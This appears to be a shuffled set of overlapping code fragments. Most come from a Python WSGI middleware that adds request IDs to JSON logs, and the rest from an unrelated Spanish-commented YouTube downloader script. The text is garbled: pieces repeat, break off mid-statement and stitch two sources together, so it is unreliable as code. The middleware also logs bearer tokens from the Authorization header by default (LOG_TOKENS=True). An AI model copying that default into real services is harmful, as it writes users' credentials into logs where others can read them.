"token pass adpater = logging.LoggerAdapter(logger, extra=extra) adpater.info(message) headers.append((self.header_name, request_id,)) return start_response(status, headers, exc_info)",
"\"\"\" def __init__(self, app, header_name: str = None): self.header_name = header_name if not",
"`environ` buried in the call stack \"\"\" _req = None wsgi_header = \"HTTP_\"",
"def __init__(self, app, header_name: str = None): self.header_name = header_name if not self.header_name:",
"traceback import datetime import pythonjsonlogger import pythonjsonlogger.jsonlogger import wsgi_microservice_middleware logger = logging.getLogger(__name__) REQUEST_ID_HEADER_NAME",
"self.app = app def __call__(self, environ, start_response): def custom_start_response(status, headers, exc_info=None): # append",
"= REQUEST_ID_HEADER_NAME self.wsgi_header_key = make_wsgi_header_key(self.header_name) self.app = app def __call__(self, environ, start_response): def",
"break except Exception: pass return _req class RequestIdFilter(logging.Filter): \"\"\" Logger filter to add",
"This middleware add access log-style record with a request id and includes the",
"header_name self.wsgi_header_key = \"HTTP_\" + self.header_name.replace(\"-\",\"_\").upper() super().__init__(*args, **kwargs) def filter(self, record): record.request_id =",
"def __call__(self, environ, start_response): def custom_start_response(status, headers, exc_info=None): # append whatever headers you",
"# append whatever headers you need here FACTS = [ environ.get(\"HTTP_HOST\", \"\"), environ.get(\"REQUEST_METHOD\",",
"request_id = environ.get(self.wsgi_header_key, '\"\"') extra = {\"request_id\": request_id} token = None if LOG_TOKENS:",
"this doesn't use record.created, so it is slightly off now = datetime.datetime.utcnow().astimezone(tz=datetime.timezone.utc).isoformat() log_record['timestamp']",
"and forward request Ids in downstream requests \"\"\" import logging import re import",
"'f_locals', None): if frame[0].f_globals.get('__name__', None) == __name__ and 'environ' in frame[0].f_locals: environ =",
"= self.get_current_request_id() return True def get_current_request_id(self): _req = current_request_id() if _req: request_id =",
"environ = frame[0].f_locals['environ'] _req = environ.get(wsgi_header, None) break except Exception: pass return _req",
"'environ' in frame[0].f_locals: environ = frame[0].f_locals['environ'] _req = environ.get(wsgi_header, None) break except Exception:",
"off now = datetime.datetime.utcnow().astimezone(tz=datetime.timezone.utc).isoformat() log_record['timestamp'] = now if log_record.get('level'): log_record['level'] = log_record['level'].upper() else:",
"log_record.get('timestamp'): # this doesn't use record.created, so it is slightly off now =",
"class RequestIdJsonLogFormatter(pythonjsonlogger.jsonlogger.JsonFormatter): def add_fields(self, log_record, record, message_dict): super(RequestIdJsonLogFormatter, self).add_fields(log_record, record, message_dict) if not",
"make_wsgi_header_key(header: str): wsgi_header = \"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() return wsgi_header class RequestIdMiddleware(object): \"\"\" This",
"\"\"), environ.get(\"REQUEST_METHOD\", \"\"), environ.get(\"RAW_URI\", \"\"), environ.get(\"SERVER_PROTOCOL\", \"\"), status ] message = \" |",
"not log_record.get('timestamp'): # this doesn't use record.created, so it is slightly off now",
"request Id in int he response headers \"\"\" def __init__(self, app, header_name: str",
"current_request_id(): \"\"\" Retrives the current request id from the wsgi `environ` buried in",
"auth_header.lstrip(\"Bearer\")) if token: extra.update({\"token\": token}) except Exception: # No exception log, requst missing",
"get_current_request_id(self): _req = current_request_id() if _req: request_id = _req else: request_id = \"\"",
"self.header_name: self.header_name = REQUEST_ID_HEADER_NAME self.wsgi_header_key = make_wsgi_header_key(self.header_name) self.app = app def __call__(self, environ,",
"`{request_id}` logger variable tot he logging context \"\"\" def __init__(self, header_name=REQUEST_ID_HEADER_NAME, *args, **kwargs):",
"getattr(frame[0], 'f_globals', None) and getattr(frame[0], 'f_locals', None): if frame[0].f_globals.get('__name__', None) == __name__ and",
"\"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() try: for frame in traceback.walk_stack(None): if getattr(frame[0], 'f_globals', None) and",
"None) break except Exception: pass return _req class RequestIdFilter(logging.Filter): \"\"\" Logger filter to",
"exc_info) return self.app(environ, custom_start_response) def current_request_id(): \"\"\" Retrives the current request id from",
"log, requst missing token pass adpater = logging.LoggerAdapter(logger, extra=extra) adpater.info(message) headers.append((self.header_name, request_id,)) return",
"else: request_id = \"\" return request_id class RequestIdJsonLogFormatter(pythonjsonlogger.jsonlogger.JsonFormatter): def add_fields(self, log_record, record, message_dict):",
"\"\"), environ.get(\"RAW_URI\", \"\"), environ.get(\"SERVER_PROTOCOL\", \"\"), status ] message = \" | \".join(FACTS) request_id",
"frame in traceback.walk_stack(None): if getattr(frame[0], 'f_globals', None) and getattr(frame[0], 'f_locals', None): if frame[0].f_globals.get('__name__',",
"\"X-Request-Id\") LOG_TOKENS = wsgi_microservice_middleware.env.bool(\"LOG_TOKENS\", True) def make_wsgi_header_key(header: str): wsgi_header = \"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper()",
"extra=extra) adpater.info(message) headers.append((self.header_name, request_id,)) return start_response(status, headers, exc_info) return self.app(environ, custom_start_response) def current_request_id():",
"status ] message = \" | \".join(FACTS) request_id = environ.get(self.wsgi_header_key, '\"\"') extra =",
"__call__(self, environ, start_response): def custom_start_response(status, headers, exc_info=None): # append whatever headers you need",
"log_record['level'] = log_record['level'].upper() else: log_record['level'] = record.levelname if not log_record.get('name'): log_record['name'] = record.name",
"import pythonjsonlogger import pythonjsonlogger.jsonlogger import wsgi_microservice_middleware logger = logging.getLogger(__name__) REQUEST_ID_HEADER_NAME = wsgi_microservice_middleware.env.str(\"REQUEST_ID_HEADER\", \"X-Request-Id\")",
"if log_record.get('level'): log_record['level'] = log_record['level'].upper() else: log_record['level'] = record.levelname if not log_record.get('name'): log_record['name']",
"datetime.datetime.utcnow().astimezone(tz=datetime.timezone.utc).isoformat() log_record['timestamp'] = now if log_record.get('level'): log_record['level'] = log_record['level'].upper() else: log_record['level'] = record.levelname",
"environ.get(self.wsgi_header_key, '\"\"') extra = {\"request_id\": request_id} token = None if LOG_TOKENS: try: auth_header",
"add a `{request_id}` logger variable tot he logging context \"\"\" def __init__(self, header_name=REQUEST_ID_HEADER_NAME,",
"message = \" | \".join(FACTS) request_id = environ.get(self.wsgi_header_key, '\"\"') extra = {\"request_id\": request_id}",
"in frame[0].f_locals: environ = frame[0].f_locals['environ'] _req = environ.get(wsgi_header, None) break except Exception: pass",
"current_request_id() if _req: request_id = _req else: request_id = \"\" return request_id class",
"it is slightly off now = datetime.datetime.utcnow().astimezone(tz=datetime.timezone.utc).isoformat() log_record['timestamp'] = now if log_record.get('level'): log_record['level']",
"_req = environ.get(wsgi_header, None) break except Exception: pass return _req class RequestIdFilter(logging.Filter): \"\"\"",
"= datetime.datetime.utcnow().astimezone(tz=datetime.timezone.utc).isoformat() log_record['timestamp'] = now if log_record.get('level'): log_record['level'] = log_record['level'].upper() else: log_record['level'] =",
"= logging.LoggerAdapter(logger, extra=extra) adpater.info(message) headers.append((self.header_name, request_id,)) return start_response(status, headers, exc_info) return self.app(environ, custom_start_response)",
"environ.get(wsgi_header, None) break except Exception: pass return _req class RequestIdFilter(logging.Filter): \"\"\" Logger filter",
"header_name: str = None): self.header_name = header_name if not self.header_name: self.header_name = REQUEST_ID_HEADER_NAME",
"\"\"\" import logging import re import traceback import datetime import pythonjsonlogger import pythonjsonlogger.jsonlogger",
"FACTS = [ environ.get(\"HTTP_HOST\", \"\"), environ.get(\"REQUEST_METHOD\", \"\"), environ.get(\"RAW_URI\", \"\"), environ.get(\"SERVER_PROTOCOL\", \"\"), status ]",
"\"\" return request_id class RequestIdJsonLogFormatter(pythonjsonlogger.jsonlogger.JsonFormatter): def add_fields(self, log_record, record, message_dict): super(RequestIdJsonLogFormatter, self).add_fields(log_record, record,",
"logger = logging.getLogger(__name__) REQUEST_ID_HEADER_NAME = wsgi_microservice_middleware.env.str(\"REQUEST_ID_HEADER\", \"X-Request-Id\") LOG_TOKENS = wsgi_microservice_middleware.env.bool(\"LOG_TOKENS\", True) def make_wsgi_header_key(header:",
"= re.sub(r\"\\W\", \"\", auth_header.lstrip(\"Bearer\")) if token: extra.update({\"token\": token}) except Exception: # No exception",
"= wsgi_microservice_middleware.env.bool(\"LOG_TOKENS\", True) def make_wsgi_header_key(header: str): wsgi_header = \"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() return wsgi_header",
"import traceback import datetime import pythonjsonlogger import pythonjsonlogger.jsonlogger import wsgi_microservice_middleware logger = logging.getLogger(__name__)",
"access log-style record with a request id and includes the request Id in",
"forward request Ids in downstream requests \"\"\" import logging import re import traceback",
"requests \"\"\" import logging import re import traceback import datetime import pythonjsonlogger import",
"wsgi_header = \"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() try: for frame in traceback.walk_stack(None): if getattr(frame[0], 'f_globals',",
"id and includes the request Id in int he response headers \"\"\" def",
"self).add_fields(log_record, record, message_dict) if not log_record.get('timestamp'): # this doesn't use record.created, so it",
"add access log-style record with a request id and includes the request Id",
"None): self.header_name = header_name if not self.header_name: self.header_name = REQUEST_ID_HEADER_NAME self.wsgi_header_key = make_wsgi_header_key(self.header_name)",
"if frame[0].f_globals.get('__name__', None) == __name__ and 'environ' in frame[0].f_locals: environ = frame[0].f_locals['environ'] _req",
"LOG_TOKENS = wsgi_microservice_middleware.env.bool(\"LOG_TOKENS\", True) def make_wsgi_header_key(header: str): wsgi_header = \"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() return",
"for frame in traceback.walk_stack(None): if getattr(frame[0], 'f_globals', None) and getattr(frame[0], 'f_locals', None): if",
"| \".join(FACTS) request_id = environ.get(self.wsgi_header_key, '\"\"') extra = {\"request_id\": request_id} token = None",
"= logging.getLogger(__name__) REQUEST_ID_HEADER_NAME = wsgi_microservice_middleware.env.str(\"REQUEST_ID_HEADER\", \"X-Request-Id\") LOG_TOKENS = wsgi_microservice_middleware.env.bool(\"LOG_TOKENS\", True) def make_wsgi_header_key(header: str):",
"= header_name self.wsgi_header_key = \"HTTP_\" + self.header_name.replace(\"-\",\"_\").upper() super().__init__(*args, **kwargs) def filter(self, record): record.request_id",
"wsgi_microservice_middleware.env.bool(\"LOG_TOKENS\", True) def make_wsgi_header_key(header: str): wsgi_header = \"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() return wsgi_header class",
"+ REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() return wsgi_header class RequestIdMiddleware(object): \"\"\" This middleware add access log-style record",
"stack \"\"\" _req = None wsgi_header = \"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() try: for frame",
"= wsgi_microservice_middleware.env.str(\"REQUEST_ID_HEADER\", \"X-Request-Id\") LOG_TOKENS = wsgi_microservice_middleware.env.bool(\"LOG_TOKENS\", True) def make_wsgi_header_key(header: str): wsgi_header = \"HTTP_\"",
"REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() return wsgi_header class RequestIdMiddleware(object): \"\"\" This middleware add access log-style record with",
"app def __call__(self, environ, start_response): def custom_start_response(status, headers, exc_info=None): # append whatever headers",
"None) == __name__ and 'environ' in frame[0].f_locals: environ = frame[0].f_locals['environ'] _req = environ.get(wsgi_header,",
"response headers \"\"\" def __init__(self, app, header_name: str = None): self.header_name = header_name",
"whatever headers you need here FACTS = [ environ.get(\"HTTP_HOST\", \"\"), environ.get(\"REQUEST_METHOD\", \"\"), environ.get(\"RAW_URI\",",
"frame[0].f_globals.get('__name__', None) == __name__ and 'environ' in frame[0].f_locals: environ = frame[0].f_locals['environ'] _req =",
"= _req else: request_id = \"\" return request_id class RequestIdJsonLogFormatter(pythonjsonlogger.jsonlogger.JsonFormatter): def add_fields(self, log_record,",
"logging filter to add request ids to logs and forward request Ids in",
"self.header_name = REQUEST_ID_HEADER_NAME self.wsgi_header_key = make_wsgi_header_key(self.header_name) self.app = app def __call__(self, environ, start_response):",
"token: extra.update({\"token\": token}) except Exception: # No exception log, requst missing token pass",
"def filter(self, record): record.request_id = self.get_current_request_id() return True def get_current_request_id(self): _req = current_request_id()",
"No exception log, requst missing token pass adpater = logging.LoggerAdapter(logger, extra=extra) adpater.info(message) headers.append((self.header_name,",
"self.header_name.replace(\"-\",\"_\").upper() super().__init__(*args, **kwargs) def filter(self, record): record.request_id = self.get_current_request_id() return True def get_current_request_id(self):",
"= None wsgi_header = \"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() try: for frame in traceback.walk_stack(None): if",
"if not self.header_name: self.header_name = REQUEST_ID_HEADER_NAME self.wsgi_header_key = make_wsgi_header_key(self.header_name) self.app = app def",
"try: auth_header = environ.get(\"HTTP_AUTHORIZATION\", None) token = re.sub(r\"\\W\", \"\", auth_header.lstrip(\"Bearer\")) if token: extra.update({\"token\":",
"Logger filter to add a `{request_id}` logger variable tot he logging context \"\"\"",
"so it is slightly off now = datetime.datetime.utcnow().astimezone(tz=datetime.timezone.utc).isoformat() log_record['timestamp'] = now if log_record.get('level'):",
"environ.get(\"HTTP_AUTHORIZATION\", None) token = re.sub(r\"\\W\", \"\", auth_header.lstrip(\"Bearer\")) if token: extra.update({\"token\": token}) except Exception:",
"return start_response(status, headers, exc_info) return self.app(environ, custom_start_response) def current_request_id(): \"\"\" Retrives the current",
"] message = \" | \".join(FACTS) request_id = environ.get(self.wsgi_header_key, '\"\"') extra = {\"request_id\":",
"header_name if not self.header_name: self.header_name = REQUEST_ID_HEADER_NAME self.wsgi_header_key = make_wsgi_header_key(self.header_name) self.app = app",
"variable tot he logging context \"\"\" def __init__(self, header_name=REQUEST_ID_HEADER_NAME, *args, **kwargs): self.header_name =",
"None if LOG_TOKENS: try: auth_header = environ.get(\"HTTP_AUTHORIZATION\", None) token = re.sub(r\"\\W\", \"\", auth_header.lstrip(\"Bearer\"))",
"REQUEST_ID_HEADER_NAME = wsgi_microservice_middleware.env.str(\"REQUEST_ID_HEADER\", \"X-Request-Id\") LOG_TOKENS = wsgi_microservice_middleware.env.bool(\"LOG_TOKENS\", True) def make_wsgi_header_key(header: str): wsgi_header =",
"import logging import re import traceback import datetime import pythonjsonlogger import pythonjsonlogger.jsonlogger import",
"super(RequestIdJsonLogFormatter, self).add_fields(log_record, record, message_dict) if not log_record.get('timestamp'): # this doesn't use record.created, so",
"pythonjsonlogger import pythonjsonlogger.jsonlogger import wsgi_microservice_middleware logger = logging.getLogger(__name__) REQUEST_ID_HEADER_NAME = wsgi_microservice_middleware.env.str(\"REQUEST_ID_HEADER\", \"X-Request-Id\") LOG_TOKENS",
"tot he logging context \"\"\" def __init__(self, header_name=REQUEST_ID_HEADER_NAME, *args, **kwargs): self.header_name = header_name",
"else: log_record['level'] = record.levelname if not log_record.get('name'): log_record['name'] = record.name if not log_record.get('threadName'):",
"logs and forward request Ids in downstream requests \"\"\" import logging import re",
"custom_start_response) def current_request_id(): \"\"\" Retrives the current request id from the wsgi `environ`",
"None) and getattr(frame[0], 'f_locals', None): if frame[0].f_globals.get('__name__', None) == __name__ and 'environ' in",
"in the call stack \"\"\" _req = None wsgi_header = \"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper()",
"def get_current_request_id(self): _req = current_request_id() if _req: request_id = _req else: request_id =",
"record.request_id = self.get_current_request_id() return True def get_current_request_id(self): _req = current_request_id() if _req: request_id",
"# No exception log, requst missing token pass adpater = logging.LoggerAdapter(logger, extra=extra) adpater.info(message)",
"not self.header_name: self.header_name = REQUEST_ID_HEADER_NAME self.wsgi_header_key = make_wsgi_header_key(self.header_name) self.app = app def __call__(self,",
"headers you need here FACTS = [ environ.get(\"HTTP_HOST\", \"\"), environ.get(\"REQUEST_METHOD\", \"\"), environ.get(\"RAW_URI\", \"\"),",
"try: for frame in traceback.walk_stack(None): if getattr(frame[0], 'f_globals', None) and getattr(frame[0], 'f_locals', None):",
"extra.update({\"token\": token}) except Exception: # No exception log, requst missing token pass adpater",
"re import traceback import datetime import pythonjsonlogger import pythonjsonlogger.jsonlogger import wsgi_microservice_middleware logger =",
"exception log, requst missing token pass adpater = logging.LoggerAdapter(logger, extra=extra) adpater.info(message) headers.append((self.header_name, request_id,))",
"= \"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() return wsgi_header class RequestIdMiddleware(object): \"\"\" This middleware add access",
"environ.get(\"HTTP_HOST\", \"\"), environ.get(\"REQUEST_METHOD\", \"\"), environ.get(\"RAW_URI\", \"\"), environ.get(\"SERVER_PROTOCOL\", \"\"), status ] message = \"",
"current request id from the wsgi `environ` buried in the call stack \"\"\"",
"= make_wsgi_header_key(self.header_name) self.app = app def __call__(self, environ, start_response): def custom_start_response(status, headers, exc_info=None):",
"= current_request_id() if _req: request_id = _req else: request_id = \"\" return request_id",
"use record.created, so it is slightly off now = datetime.datetime.utcnow().astimezone(tz=datetime.timezone.utc).isoformat() log_record['timestamp'] = now",
"with a request id and includes the request Id in int he response",
"= {\"request_id\": request_id} token = None if LOG_TOKENS: try: auth_header = environ.get(\"HTTP_AUTHORIZATION\", None)",
"\"\", auth_header.lstrip(\"Bearer\")) if token: extra.update({\"token\": token}) except Exception: # No exception log, requst",
"# this doesn't use record.created, so it is slightly off now = datetime.datetime.utcnow().astimezone(tz=datetime.timezone.utc).isoformat()",
"add request ids to logs and forward request Ids in downstream requests \"\"\"",
"make_wsgi_header_key(self.header_name) self.app = app def __call__(self, environ, start_response): def custom_start_response(status, headers, exc_info=None): #",
"ids to logs and forward request Ids in downstream requests \"\"\" import logging",
"wsgi_header class RequestIdMiddleware(object): \"\"\" This middleware add access log-style record with a request",
"if not log_record.get('timestamp'): # this doesn't use record.created, so it is slightly off",
"filter to add a `{request_id}` logger variable tot he logging context \"\"\" def",
"datetime import pythonjsonlogger import pythonjsonlogger.jsonlogger import wsgi_microservice_middleware logger = logging.getLogger(__name__) REQUEST_ID_HEADER_NAME = wsgi_microservice_middleware.env.str(\"REQUEST_ID_HEADER\",",
"headers, exc_info) return self.app(environ, custom_start_response) def current_request_id(): \"\"\" Retrives the current request id",
"token = None if LOG_TOKENS: try: auth_header = environ.get(\"HTTP_AUTHORIZATION\", None) token = re.sub(r\"\\W\",",
"start_response(status, headers, exc_info) return self.app(environ, custom_start_response) def current_request_id(): \"\"\" Retrives the current request",
"= \"HTTP_\" + self.header_name.replace(\"-\",\"_\").upper() super().__init__(*args, **kwargs) def filter(self, record): record.request_id = self.get_current_request_id() return",
"\"\"\" This middleware add access log-style record with a request id and includes",
"def make_wsgi_header_key(header: str): wsgi_header = \"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() return wsgi_header class RequestIdMiddleware(object): \"\"\"",
"the current request id from the wsgi `environ` buried in the call stack",
"def current_request_id(): \"\"\" Retrives the current request id from the wsgi `environ` buried",
"record, message_dict) if not log_record.get('timestamp'): # this doesn't use record.created, so it is",
"_req else: request_id = \"\" return request_id class RequestIdJsonLogFormatter(pythonjsonlogger.jsonlogger.JsonFormatter): def add_fields(self, log_record, record,",
"int he response headers \"\"\" def __init__(self, app, header_name: str = None): self.header_name",
"doesn't use record.created, so it is slightly off now = datetime.datetime.utcnow().astimezone(tz=datetime.timezone.utc).isoformat() log_record['timestamp'] =",
"None) token = re.sub(r\"\\W\", \"\", auth_header.lstrip(\"Bearer\")) if token: extra.update({\"token\": token}) except Exception: #",
"record, message_dict): super(RequestIdJsonLogFormatter, self).add_fields(log_record, record, message_dict) if not log_record.get('timestamp'): # this doesn't use",
"True) def make_wsgi_header_key(header: str): wsgi_header = \"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() return wsgi_header class RequestIdMiddleware(object):",
"environ.get(\"REQUEST_METHOD\", \"\"), environ.get(\"RAW_URI\", \"\"), environ.get(\"SERVER_PROTOCOL\", \"\"), status ] message = \" | \".join(FACTS)",
"super().__init__(*args, **kwargs) def filter(self, record): record.request_id = self.get_current_request_id() return True def get_current_request_id(self): _req",
"to logs and forward request Ids in downstream requests \"\"\" import logging import",
"\" | \".join(FACTS) request_id = environ.get(self.wsgi_header_key, '\"\"') extra = {\"request_id\": request_id} token =",
"to add request ids to logs and forward request Ids in downstream requests",
"need here FACTS = [ environ.get(\"HTTP_HOST\", \"\"), environ.get(\"REQUEST_METHOD\", \"\"), environ.get(\"RAW_URI\", \"\"), environ.get(\"SERVER_PROTOCOL\", \"\"),",
"Retrives the current request id from the wsgi `environ` buried in the call",
"log_record['level'] = record.levelname if not log_record.get('name'): log_record['name'] = record.name if not log_record.get('threadName'): log_record['threadName']",
"\"HTTP_\" + self.header_name.replace(\"-\",\"_\").upper() super().__init__(*args, **kwargs) def filter(self, record): record.request_id = self.get_current_request_id() return True",
"import re import traceback import datetime import pythonjsonlogger import pythonjsonlogger.jsonlogger import wsgi_microservice_middleware logger",
"adpater.info(message) headers.append((self.header_name, request_id,)) return start_response(status, headers, exc_info) return self.app(environ, custom_start_response) def current_request_id(): \"\"\"",
"None): if frame[0].f_globals.get('__name__', None) == __name__ and 'environ' in frame[0].f_locals: environ = frame[0].f_locals['environ']",
"in downstream requests \"\"\" import logging import re import traceback import datetime import",
"extra = {\"request_id\": request_id} token = None if LOG_TOKENS: try: auth_header = environ.get(\"HTTP_AUTHORIZATION\",",
"auth_header = environ.get(\"HTTP_AUTHORIZATION\", None) token = re.sub(r\"\\W\", \"\", auth_header.lstrip(\"Bearer\")) if token: extra.update({\"token\": token})",
"= \"\" return request_id class RequestIdJsonLogFormatter(pythonjsonlogger.jsonlogger.JsonFormatter): def add_fields(self, log_record, record, message_dict): super(RequestIdJsonLogFormatter, self).add_fields(log_record,",
"str): wsgi_header = \"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() return wsgi_header class RequestIdMiddleware(object): \"\"\" This middleware",
"buried in the call stack \"\"\" _req = None wsgi_header = \"HTTP_\" +",
"_req = None wsgi_header = \"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() try: for frame in traceback.walk_stack(None):",
"class RequestIdMiddleware(object): \"\"\" This middleware add access log-style record with a request id",
"re.sub(r\"\\W\", \"\", auth_header.lstrip(\"Bearer\")) if token: extra.update({\"token\": token}) except Exception: # No exception log,",
"**kwargs): self.header_name = header_name self.wsgi_header_key = \"HTTP_\" + self.header_name.replace(\"-\",\"_\").upper() super().__init__(*args, **kwargs) def filter(self,",
"environ, start_response): def custom_start_response(status, headers, exc_info=None): # append whatever headers you need here",
"record.levelname if not log_record.get('name'): log_record['name'] = record.name if not log_record.get('threadName'): log_record['threadName'] = record.threadName",
"request id and includes the request Id in int he response headers \"\"\"",
"token}) except Exception: # No exception log, requst missing token pass adpater =",
"record with a request id and includes the request Id in int he",
"logging.LoggerAdapter(logger, extra=extra) adpater.info(message) headers.append((self.header_name, request_id,)) return start_response(status, headers, exc_info) return self.app(environ, custom_start_response) def",
"return wsgi_header class RequestIdMiddleware(object): \"\"\" This middleware add access log-style record with a",
"\"\"\" Logger filter to add a `{request_id}` logger variable tot he logging context",
"slightly off now = datetime.datetime.utcnow().astimezone(tz=datetime.timezone.utc).isoformat() log_record['timestamp'] = now if log_record.get('level'): log_record['level'] = log_record['level'].upper()",
"True def get_current_request_id(self): _req = current_request_id() if _req: request_id = _req else: request_id",
"self.app(environ, custom_start_response) def current_request_id(): \"\"\" Retrives the current request id from the wsgi",
"REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() try: for frame in traceback.walk_stack(None): if getattr(frame[0], 'f_globals', None) and getattr(frame[0], 'f_locals',",
"requst missing token pass adpater = logging.LoggerAdapter(logger, extra=extra) adpater.info(message) headers.append((self.header_name, request_id,)) return start_response(status,",
"a request id and includes the request Id in int he response headers",
"{\"request_id\": request_id} token = None if LOG_TOKENS: try: auth_header = environ.get(\"HTTP_AUTHORIZATION\", None) token",
"request_id = \"\" return request_id class RequestIdJsonLogFormatter(pythonjsonlogger.jsonlogger.JsonFormatter): def add_fields(self, log_record, record, message_dict): super(RequestIdJsonLogFormatter,",
"= None if LOG_TOKENS: try: auth_header = environ.get(\"HTTP_AUTHORIZATION\", None) token = re.sub(r\"\\W\", \"\","
] |
[
"import scheduler # 第一个获取到文件锁的进程执行任务后,如果在运行中途进程关闭重新启动了一个新的,则依然会多次执行 __all__ = ['celery_app'] # __all__ = ['celery_app', 'scheduler'] #",
"from __future__ import absolute_import, unicode_literals from .celery import app as celery_app # from",
"<gh_stars>100-1000 from __future__ import absolute_import, unicode_literals from .celery import app as celery_app #",
"app as celery_app # from .job import scheduler # 第一个获取到文件锁的进程执行任务后,如果在运行中途进程关闭重新启动了一个新的,则依然会多次执行 __all__ = ['celery_app']",
"celery_app # from .job import scheduler # 第一个获取到文件锁的进程执行任务后,如果在运行中途进程关闭重新启动了一个新的,则依然会多次执行 __all__ = ['celery_app'] # __all__",
"scheduler # 第一个获取到文件锁的进程执行任务后,如果在运行中途进程关闭重新启动了一个新的,则依然会多次执行 __all__ = ['celery_app'] # __all__ = ['celery_app', 'scheduler'] # import",
".job import scheduler # 第一个获取到文件锁的进程执行任务后,如果在运行中途进程关闭重新启动了一个新的,则依然会多次执行 __all__ = ['celery_app'] # __all__ = ['celery_app', 'scheduler']",
"import absolute_import, unicode_literals from .celery import app as celery_app # from .job import",
"__future__ import absolute_import, unicode_literals from .celery import app as celery_app # from .job",
"from .celery import app as celery_app # from .job import scheduler # 第一个获取到文件锁的进程执行任务后,如果在运行中途进程关闭重新启动了一个新的,则依然会多次执行",
"__all__ = ['celery_app'] # __all__ = ['celery_app', 'scheduler'] # import pymysql # pymysql.install_as_MySQLdb()",
".celery import app as celery_app # from .job import scheduler # 第一个获取到文件锁的进程执行任务后,如果在运行中途进程关闭重新启动了一个新的,则依然会多次执行 __all__",
"import app as celery_app # from .job import scheduler # 第一个获取到文件锁的进程执行任务后,如果在运行中途进程关闭重新启动了一个新的,则依然会多次执行 __all__ =",
"# from .job import scheduler # 第一个获取到文件锁的进程执行任务后,如果在运行中途进程关闭重新启动了一个新的,则依然会多次执行 __all__ = ['celery_app'] # __all__ =",
"as celery_app # from .job import scheduler # 第一个获取到文件锁的进程执行任务后,如果在运行中途进程关闭重新启动了一个新的,则依然会多次执行 __all__ = ['celery_app'] #",
"from .job import scheduler # 第一个获取到文件锁的进程执行任务后,如果在运行中途进程关闭重新启动了一个新的,则依然会多次执行 __all__ = ['celery_app'] # __all__ = ['celery_app',",
"# 第一个获取到文件锁的进程执行任务后,如果在运行中途进程关闭重新启动了一个新的,则依然会多次执行 __all__ = ['celery_app'] # __all__ = ['celery_app', 'scheduler'] # import pymysql",
"absolute_import, unicode_literals from .celery import app as celery_app # from .job import scheduler",
"unicode_literals from .celery import app as celery_app # from .job import scheduler #",
"第一个获取到文件锁的进程执行任务后,如果在运行中途进程关闭重新启动了一个新的,则依然会多次执行 __all__ = ['celery_app'] # __all__ = ['celery_app', 'scheduler'] # import pymysql #"
] |
[] |
[
"formatearlo con el método figlet_format que lo convierte en ascii art y nos",
"print(\"\\nNo se reconoce la opción\") time.sleep(5) self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir) else: eleccion = opciones[choice]()",
"video video = yt.streams.first() size1 = str(round(video.filesize / (1024 * 1024))) print(\"\\nTamaño del",
"la clase Youtube y sus métodos. Permite realizar la descarga del video, pideo",
"attrs=['bold']) '''Imprime el banner que se muestra en pantalla. el método cprint recibe",
"de descarga''' def confirmar_Descargar(self): url = input('\\n\\nIngresa la URL del video: ') ruta",
"ejecución del script sin interrumpir con el teclado''' def mostrar_Menu(self, descargar, salir): print(\"\"\"\\n1.",
"self.limpiar_Mostrar_Banner() print(\"\"\"\\n\\n1. Ingresar URL del video 2. Volver\"\"\") opcion = input(\"\\nElija una opción:",
"necesarios para ejecutar las acciones de descarga o de salida del script''' rata",
"self.mostrar_Banner() '''Este método limpia la pantalla y muestra el banner. Se usa llamando",
"_ = system('cls') else: _ = system('clear') ''' Con este método comprobamos si",
"de formatearlo con el método figlet_format que lo convierte en ascii art y",
"chunk, file_handle, bytes_remaining): print(round((1-bytes_remaining/video.filesize)*100,3), '% done...') def descargar(self): self.limpiar_Mostrar_Banner() print(\"\"\"\\n\\n1. Ingresar URL del",
"en la mayoría de los llamados se necesita que el banner siga ejecutándose",
"que sería en negrita el texto que recibe el método cprint es lo",
"manteniendo la pantalla limpia para dar enfoque a la tarea de descarga''' def",
"{\"1\": self.descargar, \"2\": self.salir} if choice == \"1\": eleccion = opciones[choice]() while choice",
"confirmaremos que pondremos la url, en caso que no podremos dar en volver,",
"muestra el banner. Se usa llamando los dos métodos juntos porque en la",
"una ruta, se guardará en el directorio del script)? ') yt = YouTube(url,",
"pideo una url y la ruta de guardado por defecto se guarda en",
"teclado''' def mostrar_Menu(self, descargar, salir): print(\"\"\"\\n1. Descargar video de Youtube 2. Salir\"\"\") choice",
"muestra en pantalla. el método cprint recibe parámetros texto,color del texto y fondo",
"# rattube.py # # Copyright 2020 <NAME> <<EMAIL>> # from termcolor import cprint",
"realizar la descarga del video, pideo una url y la ruta de guardado",
"el menú inicial. Llama desde aquí a los métodos necesarios para ejecutar las",
"en volver, ejecutando el método limpiar_Mostrar_Banner y llamando al menú inicial nuevamente''' def",
"con el teclado''' def mostrar_Menu(self, descargar, salir): print(\"\"\"\\n1. Descargar video de Youtube 2.",
"2. Volver\"\"\") opcion = input(\"\\nElija una opción: \") if opcion == \"1\": self.confirmar_Descargar()",
"'''Este método limpia la pantalla y muestra el banner. Se usa llamando los",
"limpia la pantalla y muestra el banner. Se usa llamando los dos métodos",
"input('\\n\\nIngresa la URL del video: ') ruta = input('\\nEn qué ruta de tu",
"attrs hace referencia a la fuente que sería en negrita el texto que",
"y la ruta de guardado por defecto se guarda en la carpeta donde",
